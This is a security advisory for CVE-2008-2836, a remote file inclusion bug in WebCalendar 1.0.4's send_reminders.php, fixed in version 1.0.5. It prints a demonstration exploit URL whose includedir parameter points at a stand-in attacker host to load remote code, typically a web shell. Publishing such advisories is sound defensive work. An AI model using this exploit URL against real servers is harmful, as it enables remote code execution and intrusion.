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Category:   Application (Calendar)  >   WebCalendar Vendors:   Knudsen, Craig
WebCalendar Include File Bug in 'send_reminders.php' Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1020357
SecurityTracker URL:  http://securitytracker.com/id/1020357
CVE Reference:   CVE-2008-2836   (Links to External Site)
Date:  Jun 25 2008
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 1.0.4
Description:   A vulnerability was reported in WebCalendar. A remote user can include and execute arbitrary code on the target system.

The software does not properly validate user-supplied input. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/patch/tools/send_reminders.php?noSet=0&includedir=http://sheLLz?

The original advisory is available at:

http://www.milw0rm.com/exploits/5847

Cr@zy_King from BiyoSecurity Team reported this vulnerability.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   The vendor has issued a fixed version (1.0.5).

The vendor's advisory is available at:

http://sourceforge.net/mailarchive/forum.php?thread_name=45EAF486.9080902%40k5n.us&forum_name=webcalendar-announce

Vendor URL:  www.k5n.us/webcalendar.php (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


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